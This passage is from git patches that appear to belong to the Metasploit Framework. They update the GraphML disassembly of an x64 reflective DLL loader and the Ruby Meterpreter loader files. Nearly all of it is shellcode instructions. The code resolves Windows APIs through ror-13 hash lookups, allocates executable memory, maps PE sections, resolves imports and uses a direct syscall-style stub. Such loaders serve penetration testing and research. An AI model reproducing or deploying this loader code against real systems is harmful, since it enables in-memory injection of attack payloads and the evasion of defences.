instruction ba01000000 mov edx, 1 - - 0x1575 + + 0x1563 instruction 4531c0 xor r8d, r8d - - 0x1578 + + 0x1566 instruction 41ffd5 call r13 - - - - - - + + + + + + - - 0x157b + + 0x1569 instructions-graph - 0x157b + 0x1569 instructions - - 0x157b + + 0x1569 instruction 4883c428 add rsp, 0x28 - - 0x157f + + 0x156d instruction 4c89e8 mov rax, r13 - - 0x1582 + + 0x1570 instruction 415f pop r15 - - 0x1584 + + 0x1572 instruction 415e pop r14 - - 0x1586 + + 0x1574 instruction 415d pop r13 - - 0x1588 + + 0x1576 instruction 415c pop r12 - - 0x158a + + 0x1578 instruction 5f pop rdi - - 0x158b + + 0x1579 instruction 5e pop rsi - - 0x158c + + 0x157a instruction 5b pop rbx - - 0x158d + + 0x157b instruction 4889ec mov rsp, rbp - - 0x1590 + + 0x157e instruction 5d pop rbp - - 0x1591 + + 0x157f instruction c3 ret - - - - - - - - - - - + + + + + + + + + + + - - 0x1592 + + 0x1580 instructions-graph - 0x1592 + 0x1580 instructions - - 0x1592 + + 0x1580 + instruction + 418b4204 + mov eax, dword ptr [r10 + 4] + + + 0x1584 + instruction + 4d8d5a08 + lea r11, [r10 + 8] + + + 0x1588 + instruction + 4989ca + mov r10, rcx + + + 0x158b + instruction + 41ffe3 + jmp r11 + + + + + + + + + 0x158e + instructions-graph + + 0x158e + instructions + + 0x158e instruction 418b453c mov eax, dword ptr [r13 + 0x3c] - - 0x1596 + + 0x1592 instruction 498d5c0500 lea rbx, [r13 + rax] - - 0x159b + + 0x1597 instruction 8b8388000000 mov eax, dword ptr [rbx + 0x88] - - 0x15a1 + + 0x159d instruction 498d4c0500 lea rcx, [r13 + rax] - - 0x15a6 + + 0x15a2 instruction 48894dc0 mov qword ptr [rbp - 0x40], rcx - - 0x15aa + + 0x15a6 instruction 8b4118 mov eax, dword ptr [rcx + 0x18] - - 0x15ad + + 0x15a9 instruction 48894590 mov qword ptr [rbp - 0x70], rax - - 0x15b1 + + 0x15ad instruction 8b4120 mov eax, dword ptr [rcx + 0x20] - - 0x15b4 + + 0x15b0 instruction 498d440500 lea rax, [r13 + rax] - - 0x15b9 + + 0x15b5 instruction 488945b8 mov qword ptr [rbp - 0x48], rax - - 0x15bd + + 0x15b9 instruction 8b4124 mov eax, dword ptr [rcx + 0x24] - - 0x15c0 + + 0x15bc instruction 498d440500 lea rax, [r13 + rax] - - 0x15c5 + + 0x15c1 instruction 488945b0 mov qword ptr [rbp - 0x50], rax - - 0x15c9 + + 0x15c5 instruction c3 ret - - - - - - - - - - - - - - - - - - - - - - - - 0x15ca - instructions-graph - - 0x15ca - instructions - - 0x15ca + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x15c6 + instructions-graph + + 0x15c6 + instructions + + 0x15c6 instruction 31c0 xor eax, eax - - 0x15cc + + 0x15c8 instructions-graph - 0x15cc + 0x15c8 instructions - - 0x15cc + + 0x15c8 instruction 0fb619 movzx ebx, byte ptr [rcx] - - 0x15cf + + 0x15cb instruction 85db test ebx, ebx - - 0x15d1 + + 0x15cd instruction 740a - je 0x15dd + je 0x15d9 - - + + - - 0x15d3 + + 0x15cf instructions-graph - 0x15d3 + 0x15cf instructions - - 0x15d3 + + 0x15cf instruction c1c80d ror eax, 0xd - - 0x15d6 + + 0x15d2 instruction 01d8 add eax, ebx - - 0x15d8 + + 0x15d4 instruction 48ffc1 inc rcx - - 0x15db + + 0x15d7 instruction ebef - jmp 0x15cc + jmp 0x15c8 - - - - + + + + - - 0x15dd + + 0x15d9 instructions-graph - 0x15dd + 0x15d9 instructions - - 0x15dd + + 0x15d9 instruction c3 ret - - 0x15de + + 0x15da instructions-graph - 0x15de + 0x15da instructions - - 0x15de + + 0x15da instruction - 418b4204 - mov eax, dword ptr [r10 + 4] + e8e7feffff + call 0x14c6 - - 0x15e2 - instruction - 4d8d5a08 - lea r11, [r10 + 8] - - - 0x15e6 - instruction - 4989ca - mov r10, rcx - - - 0x15e9 - instruction - 41ffe3 - jmp r11 - - - - - + + 0x15df + data + 0110022004400440 + @@ -3687,20 +3738,21 @@ - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + From 722fd1f4823a04eed25c49f21dd22e2f184e7f2d Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Thu, 14 May 2026 15:35:31 +0200 Subject: [PATCH 08/15] fix: updated reflective loader graphml and meterpreter loader x64 --- data/shellcode/reflective_loader.x64.graphml | 3040 ++++++++--------- .../windows/x64/meterpreter_loader_x64.rb | 41 +- .../windows/x64/reflective_loader_x64.rb | 26 + 3 files changed, 1561 insertions(+), 1546 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/reflective_loader_x64.rb diff --git a/data/shellcode/reflective_loader.x64.graphml b/data/shellcode/reflective_loader.x64.graphml index ceadb6456e02c..576b01ad8d1ad 100644 --- a/data/shellcode/reflective_loader.x64.graphml +++ b/data/shellcode/reflective_loader.x64.graphml @@ -386,8 +386,8 @@ 0x108f instruction - 0f8407020000 - je 0x129c + 0f840a020000 + je 0x129f @@ -419,8 +419,8 @@ 0x10a1 instruction - 0f84e9010000 - je 0x1290 + 0f84ec010000 + je 0x1293 @@ -442,3211 +442,3211 @@ 0x10ab instruction - 4531e4 - xor r12d, r12d + 41bc00000000 + mov r12d, 0 - - 0x10ae + + 0x10b1 instructions-graph - 0x10ae + 0x10b1 instructions - - 0x10ae + + 0x10b1 instruction 41c1cc0d ror r12d, 0xd - - 0x10b2 + + 0x10b5 instruction 0fb61a movzx ebx, byte ptr [rdx] - - 0x10b5 + + 0x10b8 instruction 80fb61 cmp bl, 0x61 - - 0x10b8 + + 0x10bb instruction 7203 - jb 0x10bd + jb 0x10c0 - - - - + + + + - - 0x10ba + + 0x10bd instructions-graph - 0x10ba + 0x10bd instructions - - 0x10ba + + 0x10bd instruction 80eb20 sub bl, 0x20 - - 0x10bd + + 0x10c0 instructions-graph - 0x10bd + 0x10c0 instructions - - 0x10bd + + 0x10c0 instruction 4101dc add r12d, ebx - - 0x10c0 + + 0x10c3 instruction 48ffc2 inc rdx - - 0x10c3 + + 0x10c6 instruction 48ffc9 dec rcx - - 0x10c6 + + 0x10c9 instruction 75e6 - jne 0x10ae + jne 0x10b1 - - - + + + - - 0x10c8 + + 0x10cb instructions-graph - 0x10c8 + 0x10cb instructions - - 0x10c8 + + 0x10cb instruction 4181fc5bbc4a6a cmp r12d, 0x6a4abc5b - - 0x10cf + + 0x10d2 instruction 7412 - je 0x10e3 + je 0x10e6 - + - - 0x10d1 + + 0x10d4 instructions-graph - 0x10d1 + 0x10d4 instructions - - 0x10d1 + + 0x10d4 instruction 4181fc5d68fa3c cmp r12d, 0x3cfa685d - - 0x10d8 + + 0x10db instruction 0f84ba000000 - je 0x1198 + je 0x119b - + - - 0x10de + + 0x10e1 instructions-graph - 0x10de + 0x10e1 instructions - - 0x10de + + 0x10e1 instruction e9ad010000 - jmp 0x1290 + jmp 0x1293 - - 0x10e3 + + 0x10e6 instructions-graph - 0x10e3 + 0x10e6 instructions - - 0x10e3 + + 0x10e6 instruction 488b45a0 mov rax, qword ptr [rbp - 0x60] - - 0x10e7 + + 0x10ea instruction 4c8b6820 mov r13, qword ptr [rax + 0x20] - - 0x10eb + + 0x10ee instruction 4c896dd0 mov qword ptr [rbp - 0x30], r13 - - 0x10ef + + 0x10f2 instruction e89a040000 - call 0x158e + call 0x1591 - - - - + + + + - - 0x10f4 + + 0x10f7 instructions-graph - 0x10f4 + 0x10f7 instructions - - 0x10f4 + + 0x10f7 instruction 48c78578ffffff02000000 mov qword ptr [rbp - 0x88], 2 - - 0x10ff + + 0x1102 instructions-graph - 0x10ff + 0x1102 instructions - - 0x10ff + + 0x1102 instruction 488b4590 mov rax, qword ptr [rbp - 0x70] - - 0x1103 + + 0x1106 instruction 4885c0 test rax, rax - - 0x1106 + + 0x1109 instruction 0f8454010000 - je 0x1260 + je 0x1263 - - + + - - 0x110c + + 0x110f instructions-graph - 0x110c + 0x110f instructions - - 0x110c + + 0x110f instruction 48ffc8 dec rax - - 0x110f + + 0x1112 instruction 48894590 mov qword ptr [rbp - 0x70], rax - - 0x1113 + + 0x1116 instruction 488b4db8 mov rcx, qword ptr [rbp - 0x48] - - 0x1117 + + 0x111a instruction 8b09 mov ecx, dword ptr [rcx] - - 0x1119 + + 0x111c instruction 48034dd0 add rcx, qword ptr [rbp - 0x30] - - 0x111d + + 0x1120 instruction e8a4040000 - call 0x15c6 + call 0x15c9 - - - - - - - - - + + + + + + + + + - - 0x1122 + + 0x1125 instructions-graph - 0x1122 + 0x1125 instructions - - 0x1122 + + 0x1125 instruction 48898570ffffff mov qword ptr [rbp - 0x90], rax - - 0x1129 + + 0x112c instruction 3d8e4e0eec cmp eax, 0xec0e4e8e - - 0x112e + + 0x1131 instruction 7409 - je 0x1139 + je 0x113c - - + + - - 0x1130 + + 0x1133 instructions-graph - 0x1130 + 0x1133 instructions - - 0x1130 + + 0x1133 instruction 3daafc0d7c cmp eax, 0x7c0dfcaa - - 0x1135 + + 0x1138 instruction 7402 - je 0x1139 + je 0x113c - + - - 0x1137 + + 0x113a instructions-graph - 0x1137 + 0x113a instructions - - 0x1137 + + 0x113a instruction eb50 - jmp 0x1189 + jmp 0x118c - - 0x1139 + + 0x113c instructions-graph - 0x1139 + 0x113c instructions - - 0x1139 + + 0x113c instruction 4c8b75c0 mov r14, qword ptr [rbp - 0x40] - - 0x113d + + 0x1140 instruction 458b761c mov r14d, dword ptr [r14 + 0x1c] - - 0x1141 + + 0x1144 instruction 4c0375d0 add r14, qword ptr [rbp - 0x30] - - 0x1145 + + 0x1148 instruction 4c8b7db0 mov r15, qword ptr [rbp - 0x50] - - 0x1149 + + 0x114c instruction 450fb73f movzx r15d, word ptr [r15] - - 0x114d + + 0x1150 instruction 4f8d34be lea r14, [r14 + r15*4] - - 0x1151 + + 0x1154 instruction 458b36 mov r14d, dword ptr [r14] - - 0x1154 + + 0x1157 instruction 4c0375d0 add r14, qword ptr [rbp - 0x30] - - 0x1158 + + 0x115b instruction 8b8570ffffff mov eax, dword ptr [rbp - 0x90] - - 0x115e + + 0x1161 instruction 3d8e4e0eec cmp eax, 0xec0e4e8e - - 0x1163 + + 0x1166 instruction 7506 - jne 0x116b + jne 0x116e - - - - - - - - - - - + + + + + + + + + + + - - 0x1165 + + 0x1168 instructions-graph - 0x1165 + 0x1168 instructions - - 0x1165 + + 0x1168 instruction 4c8975f8 mov qword ptr [rbp - 8], r14 - - 0x1169 + + 0x116c instruction eb04 - jmp 0x116f + jmp 0x1172 - + - - 0x116b + + 0x116e instructions-graph - 0x116b + 0x116e instructions - - 0x116b + + 0x116e instruction 4c8975f0 mov qword ptr [rbp - 0x10], r14 - - 0x116f + + 0x1172 instructions-graph - 0x116f + 0x1172 instructions - - 0x116f + + 0x1172 instruction 488b8578ffffff mov rax, qword ptr [rbp - 0x88] - - 0x1176 + + 0x1179 instruction 48ffc8 dec rax - - 0x1179 + + 0x117c instruction 48898578ffffff mov qword ptr [rbp - 0x88], rax - - 0x1180 + + 0x1183 instruction 4885c0 test rax, rax - - 0x1183 + + 0x1186 instruction 0f84d7000000 - je 0x1260 + je 0x1263 - - - - - - - + + + + + + + - - 0x1189 + + 0x118c instructions-graph - 0x1189 + 0x118c instructions - - 0x1189 + + 0x118c instruction 488345b804 add qword ptr [rbp - 0x48], 4 - - 0x118e + + 0x1191 instruction 488345b002 add qword ptr [rbp - 0x50], 2 - - 0x1193 + + 0x1196 instruction e967ffffff - jmp 0x10ff + jmp 0x1102 - - + + - - 0x1198 + + 0x119b instructions-graph - 0x1198 + 0x119b instructions - - 0x1198 + + 0x119b instruction 488b45a0 mov rax, qword ptr [rbp - 0x60] - - 0x119c + + 0x119f instruction 4c8b6820 mov r13, qword ptr [rax + 0x20] - - 0x11a0 + + 0x11a3 instruction 4c896dd0 mov qword ptr [rbp - 0x30], r13 - - 0x11a4 + + 0x11a7 instruction e8e5030000 - call 0x158e + call 0x1591 - - - - + + + + - - 0x11a9 + + 0x11ac instructions-graph - 0x11a9 + 0x11ac instructions - - 0x11a9 + + 0x11ac instruction 48c78578ffffff03000000 mov qword ptr [rbp - 0x88], 3 - - 0x11b4 + + 0x11b7 instructions-graph - 0x11b4 + 0x11b7 instructions - - 0x11b4 + + 0x11b7 instruction 488b4590 mov rax, qword ptr [rbp - 0x70] - - 0x11b8 + + 0x11bb instruction 4885c0 test rax, rax - - 0x11bb + + 0x11be instruction 0f849f000000 - je 0x1260 + je 0x1263 - - + + - - 0x11c1 + + 0x11c4 instructions-graph - 0x11c1 + 0x11c4 instructions - - 0x11c1 + + 0x11c4 instruction 48ffc8 dec rax - - 0x11c4 + + 0x11c7 instruction 48894590 mov qword ptr [rbp - 0x70], rax - - 0x11c8 + + 0x11cb instruction 488b4db8 mov rcx, qword ptr [rbp - 0x48] - - 0x11cc + + 0x11cf instruction 8b09 mov ecx, dword ptr [rcx] - - 0x11ce + + 0x11d1 instruction 48034dd0 add rcx, qword ptr [rbp - 0x30] - - 0x11d2 + + 0x11d5 instruction e8ef030000 - call 0x15c6 + call 0x15c9 - - - - - - - - - + + + + + + + + + - - 0x11d7 + + 0x11da instructions-graph - 0x11d7 + 0x11da instructions - - 0x11d7 + + 0x11da instruction 48898570ffffff mov qword ptr [rbp - 0x90], rax - - 0x11de + + 0x11e1 instruction 3db80a4c53 cmp eax, 0x534c0ab8 - - 0x11e3 + + 0x11e6 instruction 7410 - je 0x11f5 + je 0x11f8 - - + + - - 0x11e5 + + 0x11e8 instructions-graph - 0x11e5 + 0x11e8 instructions - - 0x11e5 + + 0x11e8 instruction 3ded4a3dd3 cmp eax, 0xd33d4aed - - 0x11ea + + 0x11ed instruction 7409 - je 0x11f5 + je 0x11f8 - + - - 0x11ec + + 0x11ef instructions-graph - 0x11ec + 0x11ef instructions - - 0x11ec + + 0x11ef instruction 3d894d3fbc cmp eax, 0xbc3f4d89 - - 0x11f1 + + 0x11f4 instruction 7402 - je 0x11f5 + je 0x11f8 - + - - 0x11f3 + + 0x11f6 instructions-graph - 0x11f3 + 0x11f6 instructions - - 0x11f3 + + 0x11f6 instruction eb5c - jmp 0x1251 + jmp 0x1254 - - 0x11f5 + + 0x11f8 instructions-graph - 0x11f5 + 0x11f8 instructions - - 0x11f5 + + 0x11f8 instruction 4c8b75c0 mov r14, qword ptr [rbp - 0x40] - - 0x11f9 + + 0x11fc instruction 458b761c mov r14d, dword ptr [r14 + 0x1c] - - 0x11fd + + 0x1200 instruction 4c0375d0 add r14, qword ptr [rbp - 0x30] - - 0x1201 + + 0x1204 instruction 4c8b7db0 mov r15, qword ptr [rbp - 0x50] - - 0x1205 + + 0x1208 instruction 450fb73f movzx r15d, word ptr [r15] - - 0x1209 + + 0x120c instruction 4f8d34be lea r14, [r14 + r15*4] - - 0x120d + + 0x1210 instruction 458b36 mov r14d, dword ptr [r14] - - 0x1210 + + 0x1213 instruction 4c0375d0 add r14, qword ptr [rbp - 0x30] - - 0x1214 + + 0x1217 instruction 8b8570ffffff mov eax, dword ptr [rbp - 0x90] - - 0x121a + + 0x121d instruction 3db80a4c53 cmp eax, 0x534c0ab8 - - 0x121f + + 0x1222 instruction 7506 - jne 0x1227 + jne 0x122a - - - - - - - - - - - + + + + + + + + + + + - - 0x1221 + + 0x1224 instructions-graph - 0x1221 + 0x1224 instructions - - 0x1221 + + 0x1224 instruction 4c8975e0 mov qword ptr [rbp - 0x20], r14 - - 0x1225 + + 0x1228 instruction eb14 - jmp 0x123b + jmp 0x123e - + - - 0x1227 + + 0x122a instructions-graph - 0x1227 + 0x122a instructions - - 0x1227 + + 0x122a instruction 3ded4a3dd3 cmp eax, 0xd33d4aed - - 0x122c + + 0x122f instruction 7506 - jne 0x1234 + jne 0x1237 - + - - 0x122e + + 0x1231 instructions-graph - 0x122e + 0x1231 instructions - - 0x122e + + 0x1231 instruction 4c8975e8 mov qword ptr [rbp - 0x18], r14 - - 0x1232 + + 0x1235 instruction eb07 - jmp 0x123b + jmp 0x123e - + - - 0x1234 + + 0x1237 instructions-graph - 0x1234 + 0x1237 instructions - - 0x1234 + + 0x1237 instruction 4c89b568ffffff mov qword ptr [rbp - 0x98], r14 - - 0x123b + + 0x123e instructions-graph - 0x123b + 0x123e instructions - - 0x123b + + 0x123e instruction 488b8578ffffff mov rax, qword ptr [rbp - 0x88] - - 0x1242 + + 0x1245 instruction 48ffc8 dec rax - - 0x1245 + + 0x1248 instruction 48898578ffffff mov qword ptr [rbp - 0x88], rax - - 0x124c + + 0x124f instruction 4885c0 test rax, rax - - 0x124f + + 0x1252 instruction 740f - je 0x1260 + je 0x1263 - - - - - - - + + + + + + + - - 0x1251 + + 0x1254 instructions-graph - 0x1251 + 0x1254 instructions - - 0x1251 + + 0x1254 instruction 488345b804 add qword ptr [rbp - 0x48], 4 - - 0x1256 + + 0x1259 instruction 488345b002 add qword ptr [rbp - 0x50], 2 - - 0x125b + + 0x125e instruction e954ffffff - jmp 0x11b4 + jmp 0x11b7 - - + + - - 0x1260 + + 0x1263 instructions-graph - 0x1260 + 0x1263 instructions - - 0x1260 + + 0x1263 instruction 488b45f8 mov rax, qword ptr [rbp - 8] - - 0x1264 + + 0x1267 instruction 4885c0 test rax, rax - - 0x1267 + + 0x126a instruction 7427 - je 0x1290 + je 0x1293 - - + + - - 0x1269 + + 0x126c instructions-graph - 0x1269 + 0x126c instructions - - 0x1269 + + 0x126c instruction 488b45f0 mov rax, qword ptr [rbp - 0x10] - - 0x126d + + 0x1270 instruction 4885c0 test rax, rax - - 0x1270 + + 0x1273 instruction 741e - je 0x1290 + je 0x1293 - - + + - - 0x1272 + + 0x1275 instructions-graph - 0x1272 + 0x1275 instructions - - 0x1272 + + 0x1275 instruction 488b45e8 mov rax, qword ptr [rbp - 0x18] - - 0x1276 + + 0x1279 instruction 4885c0 test rax, rax - - 0x1279 + + 0x127c instruction 7415 - je 0x1290 + je 0x1293 - - + + - - 0x127b + + 0x127e instructions-graph - 0x127b + 0x127e instructions - - 0x127b + + 0x127e instruction 488b8568ffffff mov rax, qword ptr [rbp - 0x98] - - 0x1282 + + 0x1285 instruction 4885c0 test rax, rax - - 0x1285 + + 0x1288 instruction 7409 - je 0x1290 + je 0x1293 - - + + - - 0x1287 + + 0x128a instructions-graph - 0x1287 + 0x128a instructions - - 0x1287 + + 0x128a instruction 488b45e0 mov rax, qword ptr [rbp - 0x20] - - 0x128b + + 0x128e instruction 4885c0 test rax, rax - - 0x128e + + 0x1291 instruction 750c - jne 0x129c + jne 0x129f - - + + - - 0x1290 + + 0x1293 instructions-graph - 0x1290 + 0x1293 instructions - - 0x1290 + + 0x1293 instruction 488b45a0 mov rax, qword ptr [rbp - 0x60] - - 0x1294 + + 0x1297 instruction 488b00 mov rax, qword ptr [rax] - - 0x1297 + + 0x129a instruction - e9f0fdffff + e9edfdffff jmp 0x108c - - + + - - 0x129c + + 0x129f instructions-graph - 0x129c + 0x129f instructions - - 0x129c + + 0x129f instruction 488b4dd8 mov rcx, qword ptr [rbp - 0x28] - - 0x12a0 + + 0x12a3 instruction 8b413c mov eax, dword ptr [rcx + 0x3c] - - 0x12a3 + + 0x12a6 instruction 4c8d2401 lea r12, [rcx + rax] - - 0x12a7 + + 0x12aa instruction 4c8965c8 mov qword ptr [rbp - 0x38], r12 - - 0x12ab + + 0x12ae instruction 4883ec48 sub rsp, 0x48 - - 0x12af + + 0x12b2 instruction 4831c0 xor rax, rax - - 0x12b2 + + 0x12b5 instruction 4889442438 mov qword ptr [rsp + 0x38], rax - - 0x12b7 + + 0x12ba instruction 418b442450 mov eax, dword ptr [r12 + 0x50] - - 0x12bc + + 0x12bf instruction 4889442440 mov qword ptr [rsp + 0x40], rax - - 0x12c1 + + 0x12c4 instruction 48c7c1ffffffff mov rcx, 0xffffffffffffffff - - 0x12c8 + + 0x12cb instruction 488d542438 lea rdx, [rsp + 0x38] - - 0x12cd + + 0x12d0 instruction 4d31c0 xor r8, r8 - - 0x12d0 + + 0x12d3 instruction 4c8d4c2440 lea r9, [rsp + 0x40] - - 0x12d5 + + 0x12d8 instruction c744242000300000 mov dword ptr [rsp + 0x20], 0x3000 - - 0x12dd + + 0x12e0 instruction c744242840000000 mov dword ptr [rsp + 0x28], 0x40 - - 0x12e5 + + 0x12e8 instruction 4c8b55e8 mov r10, qword ptr [rbp - 0x18] - - 0x12e9 + + 0x12ec instruction e892020000 - call 0x1580 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0x12ee - instructions-graph - - 0x12ee - instructions - - 0x12ee + call 0x1583 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x12f1 + instructions-graph + + 0x12f1 + instructions + + 0x12f1 instruction 488b442438 mov rax, qword ptr [rsp + 0x38] - - 0x12f3 + + 0x12f6 instruction 4883c448 add rsp, 0x48 - - 0x12f7 + + 0x12fa instruction 488945d0 mov qword ptr [rbp - 0x30], rax - - 0x12fb + + 0x12fe instruction 418b4c2454 mov ecx, dword ptr [r12 + 0x54] - - 0x1300 + + 0x1303 instruction 488b75d8 mov rsi, qword ptr [rbp - 0x28] - - 0x1304 + + 0x1307 instruction 488b7dd0 mov rdi, qword ptr [rbp - 0x30] - - - - + + + + - - 0x1308 + + 0x130b instructions-graph - 0x1308 + 0x130b instructions - - 0x1308 + + 0x130b instruction f3a4 rep movsb byte ptr [rdi], byte ptr [rsi] - - 0x130a + + 0x130d instructions-graph - 0x130a + 0x130d instructions - - 0x130a + + 0x130d instruction 490fb7442414 movzx rax, word ptr [r12 + 0x14] - - 0x1310 + + 0x1313 instruction 4d8d6c0418 lea r13, [r12 + rax + 0x18] - - 0x1315 + + 0x1318 instruction 450fb77c2406 movzx r15d, word ptr [r12 + 6] - + - - 0x131b + + 0x131e instructions-graph - 0x131b + 0x131e instructions - - 0x131b + + 0x131e instruction 4585ff test r15d, r15d - - 0x131e + + 0x1321 instruction 7425 - je 0x1345 + je 0x1348 - + - - 0x1320 + + 0x1323 instructions-graph - 0x1320 + 0x1323 instructions - - 0x1320 + + 0x1323 instruction 418b450c mov eax, dword ptr [r13 + 0xc] - - 0x1324 + + 0x1327 instruction 488b7dd0 mov rdi, qword ptr [rbp - 0x30] - - 0x1328 + + 0x132b instruction 4801c7 add rdi, rax - - 0x132b + + 0x132e instruction 418b4514 mov eax, dword ptr [r13 + 0x14] - - 0x132f + + 0x1332 instruction 488b75d8 mov rsi, qword ptr [rbp - 0x28] - - 0x1333 + + 0x1336 instruction 4801c6 add rsi, rax - - 0x1336 + + 0x1339 instruction 418b4d10 mov ecx, dword ptr [r13 + 0x10] - - - - - - - + + + + + + + - - 0x133a + + 0x133d instructions-graph - 0x133a + 0x133d instructions - - 0x133a + + 0x133d instruction f3a4 rep movsb byte ptr [rdi], byte ptr [rsi] - - 0x133c + + 0x133f instructions-graph - 0x133c + 0x133f instructions - - 0x133c + + 0x133f instruction 4983c528 add r13, 0x28 - - 0x1340 + + 0x1343 instruction 41ffcf dec r15d - - 0x1343 + + 0x1346 instruction ebd6 - jmp 0x131b + jmp 0x131e - - + + - - 0x1345 + + 0x1348 instructions-graph - 0x1345 + 0x1348 instructions - - 0x1345 + + 0x1348 instruction 418b842490000000 mov eax, dword ptr [r12 + 0x90] - - 0x134d + + 0x1350 instruction 85c0 test eax, eax - - 0x134f + + 0x1352 instruction 0f84a5000000 - je 0x13fa + je 0x13fd - - + + - - 0x1355 + + 0x1358 instructions-graph - 0x1355 + 0x1358 instructions - - 0x1355 + + 0x1358 instruction 4c8b75d0 mov r14, qword ptr [rbp - 0x30] - - 0x1359 + + 0x135c instruction 4901c6 add r14, rax - + - - 0x135c + + 0x135f instructions-graph - 0x135c + 0x135f instructions - - 0x135c + + 0x135f instruction 418b460c mov eax, dword ptr [r14 + 0xc] - - 0x1360 + + 0x1363 instruction 85c0 test eax, eax - - 0x1362 + + 0x1365 instruction 0f8492000000 - je 0x13fa + je 0x13fd - - + + - - 0x1368 + + 0x136b instructions-graph - 0x1368 + 0x136b instructions - - 0x1368 + + 0x136b instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x136c + + 0x136f instruction 4801c1 add rcx, rax - - 0x136f + + 0x1372 instruction 4883ec28 sub rsp, 0x28 - - 0x1373 + + 0x1376 instruction ff55f8 call qword ptr [rbp - 8] - - - - + + + + - - 0x1376 + + 0x1379 instructions-graph - 0x1376 + 0x1379 instructions - - 0x1376 + + 0x1379 instruction 4883c428 add rsp, 0x28 - - 0x137a + + 0x137d instruction 4989c5 mov r13, rax - - 0x137d + + 0x1380 instruction 418b06 mov eax, dword ptr [r14] - - 0x1380 + + 0x1383 instruction 85c0 test eax, eax - - 0x1382 + + 0x1385 instruction 7504 - jne 0x1388 + jne 0x138b - - - - + + + + - - 0x1384 + + 0x1387 instructions-graph - 0x1384 + 0x1387 instructions - - 0x1384 + + 0x1387 instruction 418b4610 mov eax, dword ptr [r14 + 0x10] - - 0x1388 + + 0x138b instructions-graph - 0x1388 + 0x138b instructions - - 0x1388 + + 0x138b instruction 488b75d0 mov rsi, qword ptr [rbp - 0x30] - - 0x138c + + 0x138f instruction 4801c6 add rsi, rax - - 0x138f + + 0x1392 instruction 418b4610 mov eax, dword ptr [r14 + 0x10] - - 0x1393 + + 0x1396 instruction 488b7dd0 mov rdi, qword ptr [rbp - 0x30] - - 0x1397 + + 0x139a instruction 4801c7 add rdi, rax - - - - - + + + + + - - 0x139a + + 0x139d instructions-graph - 0x139a + 0x139d instructions - - 0x139a + + 0x139d instruction 488b06 mov rax, qword ptr [rsi] - - 0x139d + + 0x13a0 instruction 4885c0 test rax, rax - - 0x13a0 + + 0x13a3 instruction 744f - je 0x13f1 + je 0x13f4 - - + + - - 0x13a2 + + 0x13a5 instructions-graph - 0x13a2 + 0x13a5 instructions - - 0x13a2 + + 0x13a5 instruction 48b90000000000000080 movabs rcx, 0x8000000000000000 - - 0x13ac + + 0x13af instruction 4885c8 test rax, rcx - - 0x13af + + 0x13b2 instruction 7521 - jne 0x13d2 + jne 0x13d5 - - + + - - 0x13b1 + + 0x13b4 instructions-graph - 0x13b1 + 0x13b4 instructions - - 0x13b1 + + 0x13b4 instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x13b5 + + 0x13b8 instruction 4801c1 add rcx, rax - - 0x13b8 + + 0x13bb instruction 4883c102 add rcx, 2 - - 0x13bc + + 0x13bf instruction 4883ec28 sub rsp, 0x28 - - 0x13c0 + + 0x13c3 instruction 4889ca mov rdx, rcx - - 0x13c3 + + 0x13c6 instruction 4c89e9 mov rcx, r13 - - 0x13c6 + + 0x13c9 instruction ff55f0 call qword ptr [rbp - 0x10] - - - - - - - - - + + + + + + + + + - - 0x13c9 + + 0x13cc instructions-graph - 0x13c9 + 0x13cc instructions - - 0x13c9 + + 0x13cc instruction 4883c428 add rsp, 0x28 - - 0x13cd + + 0x13d0 instruction 488907 mov qword ptr [rdi], rax - - 0x13d0 + + 0x13d3 instruction eb15 - jmp 0x13e7 + jmp 0x13ea - - + + - - 0x13d2 + + 0x13d5 instructions-graph - 0x13d2 + 0x13d5 instructions - - 0x13d2 + + 0x13d5 instruction 480fb716 movzx rdx, word ptr [rsi] - - 0x13d6 + + 0x13d9 instruction 4883ec28 sub rsp, 0x28 - - 0x13da + + 0x13dd instruction 4c89e9 mov rcx, r13 - - 0x13dd + + 0x13e0 instruction ff55f0 call qword ptr [rbp - 0x10] - - - + + + - - 0x13e0 + + 0x13e3 instructions-graph - 0x13e0 + 0x13e3 instructions - - 0x13e0 + + 0x13e3 instruction 4883c428 add rsp, 0x28 - - 0x13e4 + + 0x13e7 instruction 488907 mov qword ptr [rdi], rax - - 0x13e7 + + 0x13ea instructions-graph - 0x13e7 + 0x13ea instructions - - 0x13e7 + + 0x13ea instruction 4883c608 add rsi, 8 - - 0x13eb + + 0x13ee instruction 4883c708 add rdi, 8 - - 0x13ef + + 0x13f2 instruction eba9 - jmp 0x139a + jmp 0x139d - - + + - - 0x13f1 + + 0x13f4 instructions-graph - 0x13f1 + 0x13f4 instructions - - 0x13f1 + + 0x13f4 instruction 4983c614 add r14, 0x14 - - 0x13f5 + + 0x13f8 instruction e962ffffff - jmp 0x135c + jmp 0x135f - + - - 0x13fa + + 0x13fd instructions-graph - 0x13fa + 0x13fd instructions - - 0x13fa + + 0x13fd instruction 488b45d0 mov rax, qword ptr [rbp - 0x30] - - 0x13fe + + 0x1401 instruction 498b4c2430 mov rcx, qword ptr [r12 + 0x30] - - 0x1403 + + 0x1406 instruction 4829c8 sub rax, rcx - - 0x1406 + + 0x1409 instruction 488945d8 mov qword ptr [rbp - 0x28], rax - - 0x140a + + 0x140d instruction 418b8424b0000000 mov eax, dword ptr [r12 + 0xb0] - - 0x1412 + + 0x1415 instruction 85c0 test eax, eax - - 0x1414 + + 0x1417 instruction 7478 - je 0x148e + je 0x1491 - - - - - - - - - + + + + + + + + + - - 0x1416 + + 0x1419 instructions-graph - 0x1416 + 0x1419 instructions - - 0x1416 + + 0x1419 instruction 418b8c24b4000000 mov ecx, dword ptr [r12 + 0xb4] - - 0x141e + + 0x1421 instruction 85c9 test ecx, ecx - - 0x1420 + + 0x1423 instruction 746c - je 0x148e + je 0x1491 - - + + - - 0x1422 + + 0x1425 instructions-graph - 0x1422 + 0x1425 instructions - - 0x1422 + + 0x1425 instruction 4c8b75d0 mov r14, qword ptr [rbp - 0x30] - - 0x1426 + + 0x1429 instruction 4901c6 add r14, rax - + - - 0x1429 + + 0x142c instructions-graph - 0x1429 + 0x142c instructions - - 0x1429 + + 0x142c instruction 418b4604 mov eax, dword ptr [r14 + 4] - - 0x142d + + 0x1430 instruction 